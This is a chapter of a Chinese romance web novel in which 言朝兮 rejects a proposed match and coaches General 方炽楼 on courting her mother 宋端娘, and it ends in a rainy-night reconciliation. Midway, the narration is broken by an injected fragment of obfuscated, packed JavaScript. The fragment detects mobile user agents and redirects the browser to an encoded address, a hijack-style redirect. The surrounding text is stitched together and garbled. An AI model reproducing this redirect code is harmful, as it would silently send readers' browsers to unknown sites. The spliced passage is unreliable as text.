南定十九年暮秋，言朝兮过完了十四岁生辰。
瑞霭堂的鹊枝姊姊却在言朝兮生辰后的第三日送来一箱笼颜色鲜妍的冬衣与头面首饰。
紫芙与紫萝欢欣不已，展开一件件裙衫往言朝兮身上比划，皆是些银朱色，杨妃色与娇黄色披风袄裙，也是现下凤玱城及笄女郎中风靡的花样织锦。
言朝兮有些困惑不解，吊着心问鹊枝：“前些日子绣坊娘子来府上量身做衣裳，我记得挑的是月白与天霁色，按份例也应当只做三身新衣，如今怎地……”
不怪她悬着心，这实在不是宋老太君的做事风格。
这要放在平民百姓屋头，堪比好吃好喝伺候着豕畜，快到过年便捆着手脚宰了。
鹊枝不答，神神秘秘地翻找出衣箱中一件嵌桃色缠枝莲小衣，塞进言朝兮手心。
“言姑娘，您也是不知道经年何月了，仔细想想那孝期……可是快过了，”她拢着言朝兮的手，轻声说道，“宋老太君说了，言姑娘瞧着也到了抽条的年纪，怎好日日着素杜荤，倒让外人觉着宋府苛待了姑娘。”
鹊枝拉着言朝兮坐到妆案前，为她潦潦梳着个及笄女郎才能梳的发髻。
朦胧的铜镜中，言朝兮看见镜中的自己一双冷清的秋水杏眸，青丝如乌缎，脸廓犹带两分圆润，面如凝脂琼玉，鼻梁挺直，丹唇不抿而红。
比起豆蔻华年的娇妍夺目，她已经愈来愈像画像中年少的宋端娘了。
可惜，这并不是什么好事。
“江郎君三元及第，金榜揭名那日，不知有多少朱门豪绅蹲在那儿，意欲榜下捉婿呢。”
“要我说，以言姑娘的才情容貌，哪里配不上那探花郎。”
鹊枝絮絮叨叨，忆起当日退婚之举，虽有些不忿，但听到是江家夫人意欲阻挠，且亲眼见到这几年江灵晔零零碎碎往宋府遣人送来的信件与姑娘心慕的物什，她也不由有两三分心动。
鹊枝心道，这一对才子佳人，自幼指腹为婚的青梅竹马，若没有言大人那件事，这该多么地般配。
言朝兮还未听完，就撇过脸去，扯过紫芙手中的锦衣塞进箱笼，推到屋中一角，一副要闲置下来的意思。
“鹊枝姊姊慎言，江家郎君是才比子建，仪容风流，可最好是赐配帝姬。”她冷冷道。
江灵晔这三年寄给她的信，她一封也未看，尽数扔进了火盆，便是吃食玩意，也统统塞给了进都备考的宋嘉澍，每年送给她的生辰礼，若是些古籍，她也按照在宋老太君的面前回了礼。
言朝兮心如明镜，她要嫁的哪里是一个人，其实是一大家族。
江灵晔是心思比一般男子细腻，但能细腻得过沈二哥吗？
拿这些年月送的东西来讲，即便多得能堆下一间屋子，像鹊枝那样的旁人只会觉得是她不知好歹，拂却郎君心意，反倒赞叹他江灵晔深情款款，三千弱水，只取一瓢。
末了，江家大夫人派来的人又年年千里迢迢到雍州趾高气扬讽刺她一通，什么“私相授受”，“廉不知耻”的锅尽往言朝兮头上扣。
鹊枝觑了眼对她使眼色的紫芙，讪笑不已：“奴婢是在与言姑娘说笑呢。”
她也晓得这姑娘有些犟，干脆说了几句好话哄着。
言朝兮顺坡下，扮出个笑面，塞了些糕点与她，送到凌霄院垂花门下：“我也是观母亲还在节衣居陋，怎好后来居上。”
说到宋端娘，这话一落地，一墙之隔的静尘院忽地传来瓷瓶砸碎的声响。
言朝兮心中惊悸不已，拽着裙角奔进静尘院，正巧看到屋前背对着她的方炽楼。
他语色雄浑，狠心冲着青帏后的人道:“阿端，你就这般在乎言荞那个短命鬼！这么多年何曾看我一眼……”
这些旧事词眼让言朝兮听着肉麻不已，她本应回避廊外，却被转身的方炽楼捉了个正着。
那三十出头的男子头戴青玉冠，脚蹬云履，穿着一袭圆领竹青长衫，腰间佩戴了块羊脂白玉兰纹佩，偏生那长衫肩量兴许放得不够宽，绷得男子背肌突紧，袖口的云纹绦带也系得潦草。
方炽楼看见言朝兮后，似乎对那“短命鬼”一词有些羞赧，忙大步迈向她，又觉不妥后，后退三步，努力放轻声音:“朝朝儿，是叔父的错……”
“我明白。”
言朝兮浅浅还了一礼。
她在方炽楼走近一瞧时，才发现光影中，他修剪齐整过鬓角与斜眉，一双寒星目硬展露出几分柔情似水，只唇线抿紧，看来心中忐忑。
廊下微风吹拂，言朝兮嗅到他衣裳上特意熏过的冷梅香，心中了然。
这是宋端娘素来爱调制的香。
言朝兮微敛鸦羽长睫，斟酌开口道:“将军知道画虎不成反类犬么？”
她是想撮合宋端娘与方炽楼，毕竟这几年自己在梦中成为宋端娘长伴青灯的场景还时有发生，要解局只能换条路走。
但一报还一报，他辱言荞是“短命鬼”的事哪能了了。
方炽楼霎时赤红了脸，羞赧不已，摸着头对言朝兮道:“倒是让你看笑话了。”
言朝兮瞥了眼摔落院中的瓷盏，扈嬷嬷指点着往来小丫鬟上前扫侍，紫苏姊姊从瓷盏碎片中小心捡出一只螺钿檀匣，悄然揭开后，那金玉在阳光下晃花了她的眼。
当年，方炽楼没有成为她的爹，果然是有原因的。
言朝兮嗟叹一声，对面前手足无措的男子轻言慢语道:“朝朝儿并非嘲笑叔父，实在是我父亲走便走了，母亲也在慢慢变得康健豁然，将军以为是在讨好母亲，是而再拾捡故人装束，这岂不是让母亲忆起往昔，平白伤心痛恨。”
“你母亲打小舞文弄墨，书堆账册长大的女郎，心慕的自是青袍文人，我……”
言朝兮深吸一口气，直接挑明了那层干系道:“我听闻将军与母亲青梅竹马，长顾多年，应当更明晰母亲心意才是，倘若于我来讲，心慕一郎君，前头是个轩蔚霞举的贩夫，难道他没了，我竟要后半生都在走卒里挑挑拣拣么，这与替身何异？”
据闻战功赫赫的四方将军方炽楼被她念得脸上青一阵白一阵，眸光愈发黯淡下去。
言朝兮顺即给他补了些信心良药，猜度道:“不过……我倒觉得，母亲心中未必没有将军，甚至无人可替。”
方炽楼眼中登时发亮起来，给了言朝兮一个鼓舞她继续讲下去的眼神。
言朝兮望向檀窗下有意无意往这瞥来的宋端娘，唇边勾起一抹笑。
“将军只需略施苦肉计，与母亲道明心意便是。”
*
这招并非空穴来风。
而是提取自沈昙惯会采取的招数，譬如，她年少时被那少郎可怜的“朝朝，他们都在欺负我”之类的眼神语句钓得在月华楼无意偏袒于他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197202|165642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>久而久之，言朝兮也摸透了这少郎的狐狸心肠。
她以为自己不会再中沈昙的圈套，没想到他却百试百灵。
她那句“我喜欢，二哥的手”被少郎深深记在了心底，开始样样以此作为唬人的手段。
比如无意手滑将江灵晔写的信笺扔进火盆，他却张着朦胧的瑞凤眼，撩开袖子露出白皙的手腕与骨指:“朝朝，你看我的手，日日伺候主君笔墨，方才竟抖了一下，真是可惜江郎君一片，心意。”
“朝朝，应当不会怪我罢。”他试探道。
她起初天真以为少郎真的伤了手，还攒着银钱悄悄去买上好的伤药，结果指挥着他重栽月昙时，对方又生龙活虎起来。
“我再也不理沈二哥了！”她生气地踢了沈昙一脚，爬上丹若树回院。
可半夜雨打青瓦，言朝兮翻来覆去睡不着为白日的言行感到懊悔，她心中一恸，写了张道歉的纸条。
她悄悄抽开院里墙边那松动的半块青砖，这是从前放十两金的地方。
对面庭院一角却仍站着乌发与衣衫湿透的少郎，非常有病地将油纸伞撑在丹若与月昙上。
他朝偷窥的言朝兮回眸一笑，竟是朱唇失色，玉容破碎的病美人之态。
糟了。
到底是雨声，还是心跳声，她如何也分不清。
言朝兮“啪嗒”“啪嗒”爬上树，气鼓鼓地朝沈昙扔来油纸伞，却在打湿的青苔墙头一滑，竟往地上摔去。
直到落进少郎有些宽厚的背，被他背着送回到凌霄院廊下时，她的心跳声才恢复了跳动，
“不要怕，我一定会接住你。”
“言朝兮，你不理我的话，我能不能理你。”
……
不管沈昙是不是演的，言朝兮又心软了。
言朝兮向方炽楼传授秘籍后的一个雷雨夜，她缠着与宋端娘相眠，没想到宋端娘竟同意了。
宋端娘不愧是雍州贵女，睡姿也拘谨得很，双手一直放于小腹上。
而言朝兮巴不得与生身母亲肌肤相贴，又担心她嫌弃怨怼，便怀着不安的心情蜷缩睡过去了。
她在梦中听到雷鸣雨泼交加，自己却被一个温暖的怀抱搂住了。
“阿娘，我很想你。”她在梦中拼命开口道。
但梦中的宋端娘却离她愈来愈远。
亥时，言朝兮迷茫伸臂，发觉身边空空，她登时清醒起来，悄然撩开一角帐帘，但见宋端娘站在檀窗前。
她眯眼望去，一袭玄衣佩戴护腕的方炽楼淋得透湿，抱着个湿漉漉的兔儿灯。
“你这浑人，”宋端娘攥着长发的指节发白，“三十多岁了，净学稚子耍痴。”
英武的郎君抹去面上雨水，放肆一笑时带着些年少意气:“宋七娘不看看我……我哪里都不比言荞差。”
堂堂八尺男儿，嗓音竟颤得像闺阁女郎。
言朝兮有些听不清二人切切私语，末了却听见宋端娘嗤笑一声。
雨夜窗前，烛泪凝落。
清冷的女郎伸出长指，勾住了面前男子的腰间玉带，二人耳颊贴合，发丝相扣只是饮鸩止渴，再往下便是天雷勾地火。
不好。
言朝兮放下帏帘“咕噜”滚回床榻里侧，将自己埋进被子，脑海却还是他们唇齿相依的景象。
她后悔了，不该半夜来找宋端娘相眠的。